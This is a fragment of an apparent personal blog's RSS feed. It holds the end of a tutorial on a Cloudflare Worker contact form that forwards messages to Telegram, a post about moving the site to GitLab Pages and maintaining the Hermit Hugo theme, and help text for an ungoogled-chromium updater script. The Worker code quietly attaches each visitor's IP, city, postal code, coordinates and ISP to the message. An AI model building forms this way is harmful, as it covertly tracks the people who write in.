</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">47
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">UPDATE</span>(<span style="color:#a6e22e">request</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">obj</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">json</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">BODY</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    from: blzr.sbs            
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    =================================
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Message : 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">MSG</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    =================================
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    User Agent = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">UA</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Language = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">LANG</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    SYS DT = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">DT</span><span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">ZONE</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    =================================
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    IP = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;CF-Connecting-IP&#39;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    CF Edge = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">colo</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    LOCATION = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">city</span><span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">country</span><span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">postalCode</span><span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">region</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Location = https://www.google.com/maps/place/</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">latitude</span><span style="color:#e6db74">}</span><span style="color:#e6db74">+</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">longitude</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Timezone = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">timezone</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ISP = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">asOrganization</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ====================================`</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">TG</span>(<span style="color:#a6e22e">BODY</span>);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>The most important is <code>TG</code> function, which actually pushes the contents from Worker to Telegram through our <a href="#having-a-telegram-bot">already established Bot</a>. When this function is invoked, it has a <code>BODY</code> for it to send out. Thus, it starts by fetching <code>TELEGRAMTOKEN</code> &amp; <code>CHATID</code> from <a href="#after-cloning-you-have-to-do-two-things">wrangler.toml</a> and invokes a POST request to <code>api.telegram.org</code> using <code>CHATID</code> to determine where to send the payload to. If it encounters an error, it is automatically logged in Worker logs.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">TG</span>(<span style="color:#a6e22e">BODY</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">bot_url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`https://api.telegram.org/bot</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">TELEGRAMTOKEN</span><span style="color:#e6db74">}</span><span style="color:#e6db74">/sendMessage`</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">messageSend</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>({ <span style="color:#e6db74">&#34;chat_id&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">CHATID</span>, <span style="color:#e6db74">&#34;text&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">BODY</span> });
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">response</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">bot_url</span>, { <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>, <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> { <span style="color:#e6db74">&#34;Content-Type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;application/json&#34;</span> }, <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">messageSend</span> });
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">response</span>;
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">error</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>This article is long as it is. We will look into what should you do in Hugo itself to make contact form actually work. That part will be easy, I promise.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://www.baeldung.com/cs/why-options-request-sent">https://www.baeldung.com/cs/why-options-request-sent</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content></item><item><title>Somethings has changed</title><link>https://blzr.sbs/posts/somethings-has-changed/</link><pubDate>Sat, 29 Jul 2023 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/somethings-has-changed/</guid><description>Well, somethings has changed in my personal life, which I am proud of</description><content type="html"><![CDATA[<p>Heeya bots, &ldquo;long time no see&rdquo;, you may ask!!
Well, somethings has changed and I am excited to tell all about it.</p>
<p>No, I did not romantically entangled with a human female. Not that I detest romantically entangling with a human female, but considering the political landscape where I might be kicked out of job and land in a prison; if a human female decides just to <strong>Have Fun</strong>. The risk is far too greater for the reward.</p>
<p>I am talking about my second love, that is&hellip;. Computers. Well, we all knew that.</p>
<p>So, it might be a long article. Bear with me.</p>
<p>First thing that happened was GitHub decided to block my account for public access with no prior communication. Since this site is hosted on GitHub Pages, I was fucked. Though I made an appeal to reinstate my account, I realized that the proverb is true.</p>

    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="8" x2="12" y2="12"></line>
      <line x1="12" y1="16" x2="12.01" y2="16"></line>
   </svg></div><b>Warning</b>
        </div>
        <div class="admonition-content">Never put all your eggs in one basket</div>
    </aside>
<p>Hence, searching for a good alternative, I landed on GitLab. It has its own restrictions, sure; but, I can be assured that my account won&rsquo;t freeze up out of the blue.</p>
<h3 id="so-1bl4z3r-how-are-you-using-gitlab-to-serve-up-your-site">So 1bl4z3r, how are you using GitLab to serve up your site?</h3>
<p>Glad you asked. Well&hellip; not glad, coz I asked myself and you are reading.</p>
<p>GitLab has this thing called GitLab Pages (very original, I know). Only difference I could even think of is the complete autonomy on the SSG or, <a href="https://jamstack.org/generators">Static Site Generators</a>. So you are not locked in. Additionally, I am invested in DevOps, so it is a great playground to learn about pipelines.</p>
<p>To be honest, I didn&rsquo;t have much extensive knowledge on GitLab&rsquo;s pipelines, hence previous paragraph. I had cobbled together a simple script.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#75715e"># To contribute improvements to CI/CD templates, please follow the Development guide at:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://docs.gitlab.com/ee/development/cicd/templates.html</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># This specific template is located at:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Hugo.gitlab-ci.yml</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># All available Hugo versions are listed here:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://gitlab.com/pages/hugo/container_registry</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">default</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">image</span>: <span style="color:#e6db74">&#34;${CI_TEMPLATE_REGISTRY_HOST}/pages/hugo/hugo_extended:latest&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">variables</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">GIT_SUBMODULE_STRATEGY</span>: <span style="color:#ae81ff">recursive</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">test</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">script</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#ae81ff">hugo</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">rules</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">if</span>: <span style="color:#ae81ff">$CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">pages</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">script</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#ae81ff">hugo</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">artifacts</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">paths</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">public</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">rules</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">if</span>: <span style="color:#ae81ff">$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">environment</span>: <span style="color:#ae81ff">production</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>That the most simplest Pipeline, according to the Internet. But, I got score close to 90, I don&rsquo;t think I could ask for more. But, I agree, that there is always room for improvements.</p>

<figure><picture>
          <source srcset="/images/somethings-has-changed/home-page-result_hu539270367660126874.webp" type="image/webp">
          <source srcset="/images/somethings-has-changed/home-page-result_hu13605061840460991412.jpg" type="image/jpeg">
          <img src="/images/somethings-has-changed/home-page-result_hu539270367660126874.webp"alt="Home Page Score"  width="1352"  height="503"  loading="lazy" />
        </picture><figcaption>
            <p>Home Page Score</p>
          </figcaption></figure>

<figure><picture>
          <source srcset="/images/somethings-has-changed/posts-page-result_hu277093437621117127.webp" type="image/webp">
          <source srcset="/images/somethings-has-changed/posts-page-result_hu16450735528224785167.jpg" type="image/jpeg">
          <img src="/images/somethings-has-changed/posts-page-result_hu277093437621117127.webp"alt="Posts Page Score"  width="1338"  height="582"  loading="lazy" />
        </picture><figcaption>
            <p>Posts Page Score</p>
          </figcaption></figure>
<p>I will slowly move all my public projects from GitHub to GitLab; I am able to do some makeover and polish it up. I intend to have a dedicated page here, so that I can make a projects portfolio. That was long thing pending.</p>
<hr>
<p>Next update for me is&hellip;.</p>
<h3 id="i-am-finally-maintaining-an-open-source-project">I am finally maintaining an Open Source Project</h3>
<p>Let me give you a backstory.</p>
<p>I was using Jekyll for a long time as a SSG. It was good, no doubt, but it lacks customization. It was good when articles count is small but completely breaks apart in fast loading; with me getting &gt;50 points in Lighthouse. After much debating and procrastination, I decided to switch to Hugo, getting wooed by its performance. If you didn&rsquo;t know about Hugo, <a href="https://gohugo.io/">here&rsquo;s the link </a>.</p>
<p>This means, I need a theme, just because I&rsquo;m not creative enough to make a theme on my own. I had to search far and wide to get a theme that works for me and after a week&rsquo;s worth of searching, I got attracted to <a href="https://github.com/Track3/hermit">Hermit</a>. It was minimal enough to my liking and fast enough so that I can be proud of. If you are reading this article, it would be fair to say that you feel same way too. There are myriad of reasons why I selected Hermit. And you guessed it, I will list it :</p>
<ol>
<li>It is using dark mode by default</li>
<li>The dependencies for CSS and JS is minimal; with all the core files being merged into one.</li>
<li>It is fast, I told that before</li>
<li>No third party framework, this was a big win for me</li>
</ol>
<p>But as luck would have it, the original developer stopped working on it, and consequently it was removed from Hugo Themes page, as being unmaintained for more than 2 years. That was the story in <a href="https://github.com/Track3/hermit/issues/160">August, 2021</a>. I saw this issue on <a href="https://github.com/Track3/hermit/issues/160#issuecomment-1598340298">June, 2023</a>. So, since I am using the theme for blog, I though to myself</p>
<blockquote>
<p>Why not maintain this theme too; what&rsquo;s the harm?</p>
</blockquote>
<p>So, I have started maintaining this theme, with a new, totally original name <code>Hermit - V2</code>. After every couple of weeks, I get time to sit in front of my Development PC, to look into Open Issues and Un-merged Pull Requests, and doing my best to decide what goes with or against the very spirit of Original Author&rsquo;s vision.</p>
<p>Some of the changes I had added are :</p>
<ul>
<li>homeSubtitlePrinter : To have a printer-like effect on Home Subtitle</li>
<li>Added Mastodon Icon</li>
<li>Added support for last modification date</li>
<li>Override Figure Shortcode to support lazyloading</li>
</ul>
<p>However, there are some things which I believe that goes against Open Source in general, that is anything related with money. In <a href="https://blzr.sbs/posts/update-ungoogled-chromium-v2/">my own words</a> of my own <a href="https://blzr.sbs">blog</a>, I told that I will never support ads.</p>

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>[My Words]</b>
        </div>
        <div class="admonition-content">You have to understand that I started this site as a hobby project and I do not intend to apply it for monetization. I had momentarily weakness on applying as Brave Creator, however I had overcome that and double down on my intention to keep this site and all the sister pages ad-free.</div>
    </aside>
<p>This is not a goodbye. I am in the middle of something big. I will let you bots know when I have a clear head.</p>
]]></content></item><item><title>Changes to ungoogled-chromium script</title><link>https://blzr.sbs/posts/update-ungoogled-chromium-v2/</link><pubDate>Mon, 24 Apr 2023 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/update-ungoogled-chromium-v2/</guid><description>ungoogled-chromium doesn't provide an update mechanism out-of-the-box, so I made one. This article focuses on the changes made in the script</description><content type="html"><![CDATA[<p>Hey there. The bot fam is seriously out of fodder these days from this little nook if the internet. I feel you bro. I am pretty wound up in various shits, which pays me. You have to understand that I started this site as a hobby project and I do not intend to apply it for monetization. I had momentarily weakness on applying as Brave Creator, however I had overcome that and double down on my intention to keep this site and all the sister pages ad-free. Which means there will be inconsistent article upload.</p>
<blockquote>
<p>BTW, this is my second post in 2023</p>
</blockquote>
<p>This is a follow-up on my <a href="https://blzr.sbs/posts/update-ungoogled-chromium/">previous article</a> detailing ungoogled-chromium updater script. <strong>So let&rsquo;s gooooo&hellip;.</strong></p>
<p>Direct Link to Download Script : <a href="https://github.com/1bl4z3r/boredhub/blob/master/update-chromium.ps1">https://github.com/1bl4z3r/boredhub/blob/master/update-chromium.ps1</a></p>
<h2 id="major-changes">Major Changes</h2>
<p>So, previously there wasn&rsquo;t any help function. Which seems out-of-character for a script or a program in the FOSS world. Henceforth, I have added help function. Here&rsquo;s how to invoke.</p>
<p><code>Get-Help .\update-chromium.ps1</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>NAME
</span></span><span style="display:flex;"><span>    update-chromium.ps1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SYNOPSIS
</span></span><span style="display:flex;"><span>    Update (or download) ungoogled-chromium without hassle
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SYNTAX
</span></span><span style="display:flex;"><span>    update-chromium.ps1 [-silent] [-help] [&lt;CommonParameters&gt;]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>DESCRIPTION
</span></span><span style="display:flex;"><span>    This script allows you to update (or download) ungoogled-chromium on your Windows systems. This downloads binaries from official GitHub source
</span></span><span style="display:flex;"><span>    and no modification is done at the supply chain.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    To give extra peace of mind, I developed this script <span style="color:#66d9ef">in</span> a Windows system where Administrator privilege is disabled, so this script doesn<span style="color:#960050;background-color:#1e0010">&#39;</span>t ask
</span></span><span style="display:flex;"><span>    the same; <span style="color:#66d9ef">in</span> addition that ungoogled-chromium is installed as normal user.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Additional Links<span style="color:#960050;background-color:#1e0010">:</span>
</span></span><span style="display:flex;"><span>    GitHub <span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//github.com/1bl4z3r/boredhub/blob/master/update-chromium.ps1
</span></span><span style="display:flex;"><span>    Blog <span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//1bl4z3r.cyou/posts/update-ungoogled-chromium-v2/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Ungoogled-Chromium <span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//github.com/ungoogled-software/ungoogled-chromium
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>RELATED LINKS
</span></span><span style="display:flex;"><span>    https<span style="color:#960050;background-color:#1e0010">:</span>//1bl4z3r.cyou/posts/update-ungoogled-chromium-v2/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>REMARKS
</span></span><span style="display:flex;"><span>    To see the examples, type<span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;get-help update-chromium.ps1 -examples&#34;</span>.
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">For</span> more information, type<span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;get-help update-chromium.ps1 -detailed&#34;</span>.
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">For</span> technical information, type<span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;get-help update-chromium.ps1 -full&#34;</span>.
